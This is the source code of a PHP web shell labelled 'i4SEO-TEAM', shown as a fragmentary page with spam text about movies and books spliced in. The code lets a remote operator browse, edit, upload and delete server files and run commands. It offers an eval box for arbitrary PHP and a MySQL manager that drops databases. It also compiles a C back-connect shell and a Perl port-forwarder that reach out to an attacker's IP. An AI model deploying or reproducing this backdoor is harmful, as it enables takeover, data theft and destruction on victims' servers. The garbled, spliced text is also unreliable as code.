i4SEO-TEAM
i4SEO-TEAM
Password:
Host: ".$_SERVER["HTTP_HOST"]."
IP: ".gethostbyname($_SERVER["HTTP_HOST"])."
Your ip: ".$ip."
");} } $d=$_GET['d']; function adds($editf){ #if(get_magic_quotes_gpc()==0){ $editf=addslashes($editf); #} return $editf; } function adds2($editf){ if(get_magic_quotes_gpc()==0){ $editf=addslashes($editf); } return $editf; } $f = "nst_sql.txt"; $f_d = $_GET['f_d']; if($_GET['download']){ $download=$_GET['download']; header("Content-disposition: attachment; filename=\"$download\";"); readfile("$d/$download"); exit;} if($_GET['dump_download']){ header("Content-disposition: attachment; filename=\"$f\";"); header("Content-length: ".filesize($f_d."/".$f)); header("Expires: 0"); readfile($f_d."/".$f); if(is_writable($f_d."/".$f)){ unlink($f_d."/".$f); } die; } $images=array(".gif",".jpg",".png",".bmp",".jpeg"); $whereme=getcwd(); @$d=@$_GET['d']; $copyr = "
i4SEO-TEAM"; $php_self=@$_SERVER['PHP_SELF']; if(@eregi("/",$whereme)){$os="unix";}else{$os="win";} if(!isset($d)){$d=$whereme;} $d=str_replace("\\","/",$d); if(@$_GET['p']=="info"){ @phpinfo(); exit;} if(@$_GET['img']=="1"){ @$e=$_GET['e']; header("Content-type: image/gif"); readfile("$d/$e"); } if(@$_GET['getdb']=="1"){ header('Content-type: application/plain-text'); header('Content-Disposition: attachment; filename=nst-mysql-damp.htm'); } print "i4SEO-TEAM "; print " Hulya Tuglu Damarimda kanimsin, Damarimda kanimsin, Mine Mutlu Damarimda kanimsin. Bia Barbosa Crocodiles and I, Download Crocodiles and I movie, Marcela Arantes Crocodiles and I. Rebecca Mark-Lawson Get Off My Land, movie Get Off My Land, Igna Gantscheva Get Off My Land. ? Donald Ross: The Architect Biography/Autobiography Inside the Helmet: Hard Knocks Biography/Autobiography Mario, Lemieux: Best There Ever Was , Sociology Masters Pr. "; if($os=="unix"){ echo " ";} echo" "; if($os=="win"){ echo " ";}else{echo "";} print ""; if($_GET['p']=="ftp"){ print "
0"; $expl=explode("/",$d); $coun=count($expl); if($os=="unix"){echo "/";} else{ echo "$expl[0]/";} for($i=1; $i<$coun; $i++){ @$xx.=$expl[$i]."/"; $sls="$expl[$i]/"; $sls=str_replace("//","/",$sls); $sls=str_replace("/'>/","/'>",$sls); print $sls; } if(@ini_get("register_globals")){$reg_g="ON";}else{$reg_g="OFF";} if(@ini_get("safe_mode")){$safe_m="ON";}else{$safe_m="OFF";} echo "
id: ".@exec('id')."
uname -a: ".@exec('uname -a')."
Your IP: [$ip] Server IP: [".gethostbyname($_SERVER["HTTP_HOST"])."] Server H.D.: [".$_SERVER["HTTP_HOST"]."]
[Safe mode: $safe_m] [Register globals: $reg_g]
[Back] [Home] [Shell (1) (2)] [Upload] [Tools] [PHPinfo] [DEL Folder] [SQL] [Self Remover]
< A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
 
:: Create folder :: Create file :: Read file if safe mode is On ::"; if($os=="unix"){ print "PS table ::"; } print "
"; print "
"; print $copyr; exit; } if(@$_GET['p']=="sql"){ print ""; ### $f_d = $_GET['f_d']; if(!isset($f_d)){$f_d=".";} if($f_d==""){$f_d=".";} $php_self=$_SERVER['PHP_SELF']; $delete_table=$_GET['delete_table']; $tbl=$_GET['tbl']; $from=$_GET['from']; $to=$_GET['to']; $adress=$_POST['adress']; $port=$_POST['port']; $login=$_POST['login']; $pass=$_POST['pass']; $adress=$_GET['adress']; $port=$_GET['port']; $login=$_GET['login']; $pass=$_GET['pass']; $conn=$_GET['conn']; if(!isset($adress)){$adress="localhost";} if(!isset($login)){$login="root";} if(!isset($pass)){$pass="";} if(!isset($port)){$port="3306";} if(!isset($from)){$from=0;} if(!isset($to)){$to=50;} ?>
Address:
Login:
Pass:
PHP v".@phpversion()."
mySQL v".@mysql_get_server_info()."
";}?>
Error: ".mysql_error()."
"); if($serv){$status="Connected. :: Log out";}else{$status="Disconnected.";} print "Status: $status

"; # #D7FFA8 print ""; } for($i=0; $i"; } echo "
"; print "
[db]
"; print ""; $res = mysql_list_dbs($serv); while ($str=mysql_fetch_row($res)){ print "[DEL][DUMP] $str[0]
"; $tc++; } $baza=$_GET['baza']; $db=$_GET['db']; print "[Total db: $tc]
"; if($baza){ print "
db: [$db]

"; $result=@mysql_list_tables($db); while($str=@mysql_fetch_array($result)){ $c=mysql_query ("SELECT COUNT(*) FROM $str[0]"); $records=mysql_fetch_array($c); if(strlen($str[0])>$s4ot){$s4ot=strlen($str[0]);} if($records[0]=="0"){ print "[D][R][$records[0]] $str[0]
"; }else{ print "[D][R][$records[0]] $str[0]
"; } mysql_free_result($c); $total_t++; } print "
Total tables: $total_t"; print "
";
for($i=0; $i<$s4ot+10; $i++){print " ";}
                                print "
"; } #end baza # delete table if(isset($delete_table)){ mysql_select_db($_GET['db']) or die("".mysql_error().""); mysql_query("DROP TABLE IF EXISTS $delete_table") or die("".mysql_error().""); print "
Table [ $delete_table ] :: Deleted success!"; print ""; } # end of delete table # delete database if(isset($_GET['delete_db'])){ mysql_drop_db($_GET['delete_db']) or die("".mysql_error().""); print "
Database ".$_GET['delete_db']." :: Deleted Success!"; print ""; } # end of delete database # delete row if(isset($_POST['delete_row'])){ $_POST['delete_row'] = base64_decode($_POST['delete_row']); mysql_query("DELETE FROM ".$_GET['tbl']." WHERE ".$_POST['delete_row']) or die("".mysql_error().""); $del_result = "
Deleted Success!
".$_POST['delete_row']; print ""; } # end of delete row $vn=$_GET['vn']; print "
"; print "Database: $db => $vn"; # edit row if(isset($_POST['edit_row'])){ $edit_row=base64_decode($_POST['edit_row']); $r_edit = mysql_query("SELECT * FROM $tbl WHERE $edit_row") or die("".mysql_error().""); print "

"; print ""; print ""; print " Update
Insert new

"; $i=0; while($mn = mysql_fetch_array($r_edit, MYSQL_ASSOC)){ foreach($mn as $key =>$val){ $type = mysql_field_type($r_edit, $i); $len = mysql_field_len($r_edit, $i); $del .= "`$key`='".adds($val)."' AND "; $c=strlen($val); $val=htmlspecialchars($val, ENT_NOQUOTES); $str=" "; $buff .= ""; $i++; } } $delstring=base64_encode($del); print ""; print "$buff
RowValue
$key
($type($len))
$str

"; print "
"; if(!$_POST['makeupdate']){print "";} if($_POST['makeupdate']){ if($_POST['upd']=='update'){ preg_match_all("/name='(.*?)'\scols=39\srows=5>(.*?)<\/textarea>/i",$buff,$matches3); $delstring=$_POST['delstring']; $delstring=base64_decode($delstring); $delstring = substr($delstring, 0, strlen($delstring)-5); for($i=0; $i \", argv[0]); exit(0); } addr.sin_family = AF_INET; addr.sin_port = htons(port); addr.sin_addr.s_addr = inet_addr(argv[1]); fd = socket(AF_INET, SOCK_STREAM, 0); connect(fd, (struct sockaddr*)&addr, sizeof(addr)); send(fd, mesg, sizeof(mesg), 0); dup2(fd, 0); dup2(fd, 1); dup2(fd, 2); execl(shell, \"in.telnetd\", 0); close(fd); return 1; } "; if(is_writable("/tmp")){ if(file_exists("/tmp/nst_c_bc_c.c")){unlink("/tmp/nst_c_bc_c.c");} if(file_exists("/tmp/nst_c_bc_c.c")){unlink("/tmp/nst_c_bc");} $fp=fopen("/tmp/nst_c_bc_c.c","w"); $bd_c_scp=str_replace("!n","\n",$bd_c_scp); fwrite($fp,"$bc_c_scp"); passthru("gcc /tmp/nst_c_bc_c.c -o /tmp/nst_bc_c"); passthru("nohup /tmp/nst_bc_c $ip &"); unlink("/tmp/nst_bc_c"); unlink("/tmp/nst_bc_c.c"); }else{ if(is_writable(".")){ mkdir(".nst_bc_c_tmp"); $fp=fopen(".nst_bc_c_tmp/nst_c_bc_c.c","w"); $bd_c_scp=str_replace("!n","\n",$bd_c_scp); fwrite($fp,"$bc_c_scp"); passthru("gcc .nst_bc_c_tmp/nst_c_bc_c.c -o .nst_bc_c_tmp/nst_bc_c"); passthru("nohup .nst_bc_c_tmp/nst_bc_c $ip &"); unlink(".nst_bc_c_tmp/nst_bc_c.c"); unlink(".nst_bc_c_tmp/nst_bc_c"); rmdir(".nst_bc_c_tmp"); } } $show_ps="1"; }#end of back connect C if($_POST['datapipe_pl']){ $port_2=$_POST['port_2']; $port_3=$_POST['port_3']; $ip=$_POST['ip']; $datapipe_pl = " #!/usr/bin/perl # coded by CuTTer (rus hacker) use IO::Socket; use POSIX; \$localport=$port_2; \$host=\"$ip\"; \$port=$port_3; \$daemon=1; \$DIR = undef; ## Выводить ло?событи?(1-да, 0-не? \$log=0; \$| = 1; if (\$daemon){ print \"3anycKaeM daemon\n\"; \$pid = fork; exit if \$pid; die \"Couldn't fork: \$!\" unless defined(\$pid); POSIX::setsid() or die \"Can't start a new session: \$!\"; } %o = ('port' => \$localport, 'toport' => \$port, 'tohost' => \$host); \$ah = IO::Socket::INET->new( 'LocalPort' => \$localport, 'Reuse' => 1, 'Listen' => 10) || die \"Нель? открыт?соке?для соединений: \$!\"; print \"Начинаем выполнен? цикл?\n\" if \$log; \$SIG{'CHLD'} = 'IGNORE'; \$num = 0; while (1) { \$ch = \$ah->accept(); if (!\$ch) { print STDERR \"Прервано выполени?accept: \$!\n\"; next; } printf(\"Новы?клиент: host %s, port %s.\n\", \$ch->peerhost(), \$ch->peerport()) if \$log; ++\$num; \$pid = fork(); if (!defined(\$pid)) { print STDERR \"Невозможно выполнит?fork: \$!\n\"; } elsif (\$pid == 0) { ## Новы?процес? \$ah->close(); Run(\%o, \$ch, \$num); } else { print \"Parent: Fork прошел успешн? закрывае?соке?\n\" if \$log; \$ch->close(); } } sub Run { my(\$o, \$ch, \$num) = @_; my \$th = IO::Socket::INET->new('PeerAddr' => \$o->{'tohost'}, 'PeerPort' => \$o->{'toport'}); print(\"Child: Делаем редирект на \$o->{'tohost'}, порт \$o->{'toport'}.\n\") if \$log; if (!\$th) { printf STDERR (\"Child: Прерва?редирект на %s, порт %s.\n\", \$o->{'tohost'}, \$o->{'toport'}); exit 0; } my \$fh; if (\$o->{'dir'}) { \$fh = Symbol::gensym(); open(\$fh, \">\$o->{'dir'}/tunnel\$num.log\") or die \"Child: Прервано создание ло?файл?\$o->{'dir'}/tunnel\$num.log: \$!\"; } \$ch->autoflush(); \$th->autoflush(); while (\$ch || \$th) { print \"Child: Включаем цикл.\n\" if \$log; my \$rin = \"\"; vec(\$rin, fileno(\$ch), 1) = 1 if \$ch; vec(\$rin, fileno(\$th), 1) = 1 if \$th; my(\$rout, \$eout); select(\$rout = \$rin, undef, \$eout = \$rin, 120); if (!\$rout && !\$eout) { print STDERR \"Child: Ошибка Timeout.\n\"; } my \$cbuffer = \"\"; my \$tbuffer = \"\"; if (\$ch && (vec(\$eout, fileno(\$ch), 1) || vec(\$rout, fileno(\$ch), 1))) { print \"Child: Ждем данных от клиент?\n\" if \$log; my \$result = sysread(\$ch, \$tbuffer, 1024); if (!defined(\$result)) { print STDERR \"Child: Ошибка пр?считывании данных клиент? \$!\n\"; exit 0; } if (\$result == 0) { print \"Child: Клиент отсоединил?.\n\" if \$log; exit 0; } print \"Child: Данные: \$cbuffer\n\" if \$log; } if (\$th && (vec(\$eout, fileno(\$th), 1) || vec(\$rout, fileno(\$th), 1))) { print \"Child: Ждем данных.\n\" if \$log; my \$result = sysread(\$th, \$cbuffer, 1024); if (!defined(\$result)) { print STDERR \"Child: Невозможно считат?данные: \$!\n\"; exit 0; } if (\$result == 0) { print \"Child: Произошл?отсоединение.\n\" if \$log; exit 0; } print \"Child: Данные: \$cbuffer\n\" if \$log; } if (\$fh && \$tbuffer) { (print \$fh \$tbuffer); } while (my \$len = length(\$tbuffer)) { print \"Child: Отправ?ем \$len байт.\n\" if \$log; my \$res = syswrite(\$th, \$tbuffer, \$len); print \"Child: Данные отправлены.\n\" if \$log; if (\$res > 0) { \$tbuffer = substr(\$tbuffer, \$res); } else { print STDERR \"Child: Невозможно отправит?данные: \$!\n\"; } } while (my \$len = length(\$cbuffer)) { print \"Child: Отправ?ем \$len байт клиент?\n\" if \$log; my \$res = syswrite(\$ch, \$cbuffer, \$len); print \"Child: Данные отправлены..\n\" if \$log; if (\$res > 0) { \$cbuffer = substr(\$cbuffer, \$res); } else { print STDERR \"Child: Невозможно отправит?данные: \$!\n\"; } } } } "; if(is_writable("/tmp")){ $fp=fopen("/tmp/nst_perl_datapipe.pl","w"); fwrite($fp,"$datapipe_pl"); passthru("nohup perl /tmp/nst_perl_datapipe.pl &"); unlink("/tmp/nst_perl_datapipe.pl"); }else{ if(is_writable(".")){ mkdir(".nst_datapipe_tmp"); $fp=fopen(".nst_datapipe_tmp/nst_perl_datapipe.pl","w"); fwrite($fp,"$datapipe_pl"); passthru("nohup perl .nst_datapipe_tmp/nst_perl_datapipe.pl &"); unlink(".nst_datapipe_tmp/nst_perl_datapipe.pl"); rmdir(".nst_datapipe_tmp"); } } $show_ps="1"; }#end of datapipe perl if($show_ps=="1"){ print "
[ps ux]


"; print "
";
passthru("ps ux");
print "


"; } echo "
md5:

md5 online encoder/decoder (brutforce) (php) - [DOWNLOAD]
"; @$md5=@$_POST['md5']; if(@$_POST['md5']){ echo "md5:
";} echo "
base64 e/d:

"; if(@$_POST['base64']){ @$base64=$_POST['base64']; echo " Encode:

Decode:


";} echo "
DES:

John The Ripper [Web]

"; if(@$_POST['des']){ @$des=@$_POST['des']; echo "Des:
";} print " eval: (example: print \"Hello World\";)
<?

?>


"; function eval_sl($editf){ if(get_magic_quotes_gpc()==1){ $editf=stripslashes($editf); } return $editf; } if($_POST['eval']){ print "RESULT:

"; eval(eval_sl($_POST['eval'])); print "

"; print "PHP:
\r\n\r\n"; print "<?\r\n"; print "
"; print htmlspecialchars(eval_sl(($_POST['eval']))); print "
"; print "?>\r\n\r\n


"; } echo $copyr; exit;} if(@$_GET['replace']=="1"){ $ip=@$_SERVER['REMOTE_ADDR']; $d=$_GET['d']; $e=$_GET['e']; @$de=$d."/".$e; $de=str_replace("//","/",$de); $e=@$e; echo "[Delete] [Edit] [Filesize to 0 byte] [Replace text in file] [Download] [Rename] [CHMOD] [Copy]
"; echo " Replace tool:
(You can replace any text)
File: $de
1. Your ip.
2. microsoft.com ip :)
Replace this by this
"; if(@$_POST['doit']){ @$thisX=$_POST['thisX']; @$bythis=$_POST['bythis']; @$e=$_GET['e']; $filename="$d/$e"; $fd = @fopen ($filename, "r"); $rpl = @fread ($fd, @filesize ($filename)); $re=str_replace("$thisX","$bythis",$rpl); $x=@fopen("$d/$e","w"); @fwrite($x,"$re"); echo "
$thisX Replaced by $bythis
[VIew file]


"; } echo $copyr; exit;} if(@$_GET['t']=="upload"){ echo "
* Mass upload *
File upload:


New file name:
(if empty, it will be default)

"; if(@$_POST['uploadf']){ $where=$_POST['where']; $newf=$_POST['newf']; $where=str_replace("//","/",$where); if($newf==""){$newf=$_FILES['text']['name'];}else{$newf=$newf;} $uploadfile = "$where/".$newf; if (@move_uploaded_file(@$_FILES['text']['tmp_name'], $uploadfile)) { $uploadfile=str_replace("//","/",$uploadfile); echo "
Uploaded to $uploadfile

"; }else{ echo "
Error

";} } } if(@$_GET['t']=="massupload"){ echo " Mass upload:












"; if(@$_POST['massupload']){ $where=@$_POST['where']; $uploadfile1 = "$where/".@$_FILES['text1']['name']; $uploadfile2 = "$where/".@$_FILES['text2']['name']; $uploadfile3 = "$where/".@$_FILES['text3']['name']; $uploadfile4 = "$where/".@$_FILES['text4']['name']; $uploadfile5 = "$where/".@$_FILES['text5']['name']; $uploadfile6 = "$where/".@$_FILES['text6']['name']; $uploadfile7 = "$where/".@$_FILES['text7']['name']; $uploadfile8 = "$where/".@$_FILES['text8']['name']; $uploadfile9 = "$where/".@$_FILES['text9']['name']; $uploadfile10 = "$where/".@$_FILES['text10']['name']; $uploadfile11 = "$where/".@$_FILES['text11']['name']; $uploadfile12 = "$where/".@$_FILES['text12']['name']; $uploadfile13 = "$where/".@$_FILES['text13']['name']; $uploadfile14 = "$where/".@$_FILES['text14']['name']; $uploadfile15 = "$where/".@$_FILES['text15']['name']; $uploadfile16 = "$where/".@$_FILES['text16']['name']; $uploadfile17 = "$where/".@$_FILES['text17']['name']; $uploadfile18 = "$where/".@$_FILES['text18']['name']; $uploadfile19 = "$where/".@$_FILES['text19']['name']; $uploadfile20 = "$where/".@$_FILES['text20']['name']; if (@move_uploaded_file(@$_FILES['text1']['tmp_name'], $uploadfile1)) { $where=str_replace("\\\\","\\",$where); echo "Uploaded to $uploadfile1
";} if (@move_uploaded_file(@$_FILES['text2']['tmp_name'], $uploadfile2)) { $where=str_replace("\\\\","\\",$where); echo "Uploaded to $uploadfile2
";} if (@move_uploaded_file(@$_FILES['text3']['tmp_name'], $uploadfile3)) { $where=str_replace("\\\\","\\",$where); echo "Uploaded to $uploadfile3
";} if (@move_uploaded_file(@$_FILES['text4']['tmp_name'], $uploadfile4)) { $where=str_replace("\\\\","\\",$where); echo "Uploaded to $uploadfile4
";} if (@move_uploaded_file(@$_FILES['text5']['tmp_name'], $uploadfile5)) { $where=str_replace("\\\\","\\",$where); echo "Uploaded to $uploadfile5
";} if (@move_uploaded_file(@$_FILES['text6']['tmp_name'], $uploadfile6)) { $where=str_replace("\\\\","\\",$where); echo "Uploaded to $uploadfile6
";} if (@move_uploaded_file(@$_FILES['text7']['tmp_name'], $uploadfile7)) { $where=str_replace("\\\\","\\",$where); echo "Uploaded to $uploadfile7
";} if (@move_uploaded_file(@$_FILES['text8']['tmp_name'], $uploadfile8)) { $where=str_replace("\\\\","\\",$where); echo "Uploaded to $uploadfile8
";} if (@move_uploaded_file(@$_FILES['text9']['tmp_name'], $uploadfile9)) { $where=str_replace("\\\\","\\",$where); echo "Uploaded to $uploadfile9
";} if (@move_uploaded_file(@$_FILES['text10']['tmp_name'], $uploadfile10)) { $where=str_replace("\\\\","\\",$where); echo "Uploaded to $uploadfile10
";} if (@move_uploaded_file(@$_FILES['text11']['tmp_name'], $uploadfile11)) { $where=str_replace("\\\\","\\",$where); echo "Uploaded to $uploadfile11
";} if (@move_uploaded_file(@$_FILES['text12']['tmp_name'], $uploadfile12)) { $where=str_replace("\\\\","\\",$where); echo "Uploaded to $uploadfile12
";} if (@move_uploaded_file(@$_FILES['text13']['tmp_name'], $uploadfile13)) { $where=str_replace("\\\\","\\",$where); echo "Uploaded to $uploadfile13
";} if (@move_uploaded_file(@$_FILES['text14']['tmp_name'], $uploadfile14)) { $where=str_replace("\\\\","\\",$where); echo "Uploaded to $uploadfile14
";} if (@move_uploaded_file(@$_FILES['text15']['tmp_name'], $uploadfile15)) { $where=str_replace("\\\\","\\",$where); echo "Uploaded to $uploadfile15
";} if (@move_uploaded_file(@$_FILES['text16']['tmp_name'], $uploadfile16)) { $where=str_replace("\\\\","\\",$where); echo "Uploaded to $uploadfile16
";} if (@move_uploaded_file(@$_FILES['text17']['tmp_name'], $uploadfile17)) { $where=str_replace("\\\\","\\",$where); echo "Uploaded to $uploadfile17
";} if (@move_uploaded_file(@$_FILES['text18']['tmp_name'], $uploadfile18)) { $where=str_replace("\\\\","\\",$where); echo "Uploaded to $uploadfile18
";} if (@move_uploaded_file(@$_FILES['text19']['tmp_name'], $uploadfile19)) { $where=str_replace("\\\\","\\",$where); echo "Uploaded to $uploadfile19
";} if (@move_uploaded_file(@$_FILES['text20']['tmp_name'], $uploadfile20)) { $where=str_replace("\\\\","\\",$where); echo "Uploaded to $uploadfile20
";} } echo $copyr; exit;} if(@$_GET['yes']=="yes"){ $d=@$_GET['d']; $e=@$_GET['e']; unlink($d."/".$e); $delresult="Success $d/$e deleted "; } if(@$_GET['clean']=="1"){ @$e=$_GET['e']; $x=fopen("$d/$e","w"); fwrite($x,""); echo ""; exit; } if(@$_GET['e']){ $d=@$_GET['d']; $e=@$_GET['e']; $pinf=pathinfo($e); if(in_array(".".@$pinf['extension'],$images)){ echo ""; exit;} $filename="$d/$e"; $fd = @fopen ($filename, "r"); $c = @fread ($fd, @filesize ($filename)); $c=htmlspecialchars($c); $de=$d."/".$e; $de=str_replace("//","/",$de); if(is_file($de)){ if(!is_writable($de)){echo "READ ONLY
";}} echo "[Delete] [Edit] [Filesize to 0 byte] [Replace text in file] [Download] [Rename] [CHMOD] [Copy]
"; echo " File contents:
$de
$c

"; if(@$_GET['delete']=="1"){ $delete=$_GET['delete']; echo " DELETE: Are you sure?
Yes || No
"; if(@$_GET['yes']=="yes"){ @$d=$_GET['d']; @$e=$_GET['e']; echo $delresult; } if(@$_GET['no']){ echo " "; } } #end of delete echo $copyr; exit; } #end of e if(@$_GET['edit']=="1"){ @$d=$_GET['d']; @$ef=$_GET['ef']; $e=$ef; if(is_file($d."/".$ef)){ if(!is_writable($d."/".$ef)){echo "READ ONLY
";}} echo "[Delete] [Edit] [Filesize to 0 byte] [Replace text in file] [Download] [Rename] [CHMOD] [Copy]
"; $filename="$d/$ef"; $fd = @fopen ($filename, "r"); $c = @fread ($fd, @filesize ($filename)); $c=htmlspecialchars($c); $de=$d."/".$ef; $de=str_replace("//","/",$de); echo " Edit:
$de
"; if(!@$_POST['save']){ print "


"; } if(@$_POST['save']){ $editf=@$_POST['editf']; if(get_magic_quotes_runtime() or get_magic_quotes_gpc()){ $editf=stripslashes($editf); } $f=fopen($filename,"w+"); fwrite($f,"$editf"); echo "
File edited. "; exit; } echo $copyr; exit; } echo" "; $dirs=array(); $files=array(); $dh = @opendir($d) or die("
Filename
Tools
Size
Owner/Group
PermsModify
Permission Denied or Folder/Disk does not exist

$copyr
"); while (!(($file = readdir($dh)) === false)) { if ($file=="." || $file=="..") continue; if (@is_dir("$d/$file")) { $dirs[]=$file; }else{ $files[]=$file; } sort($dirs); sort($files); $fz=@filesize("$d/$file"); } function perm($perms){ if (($perms & 0xC000) == 0xC000) { $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { $info = 'p'; } else { $info = 'u'; } $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } for($i=0; $i
0 $linkd
DIR
 
$owner/$group
$info".date("d/m/Y",filemtime($d."/".$dirs[$i]))."
2 $files[$i]
[options]
$siz
$owner/$group
$info".date("d/m/Y",filemtime($d."/".$files[$i]))."
"; echo $copyr; ?>'; ?>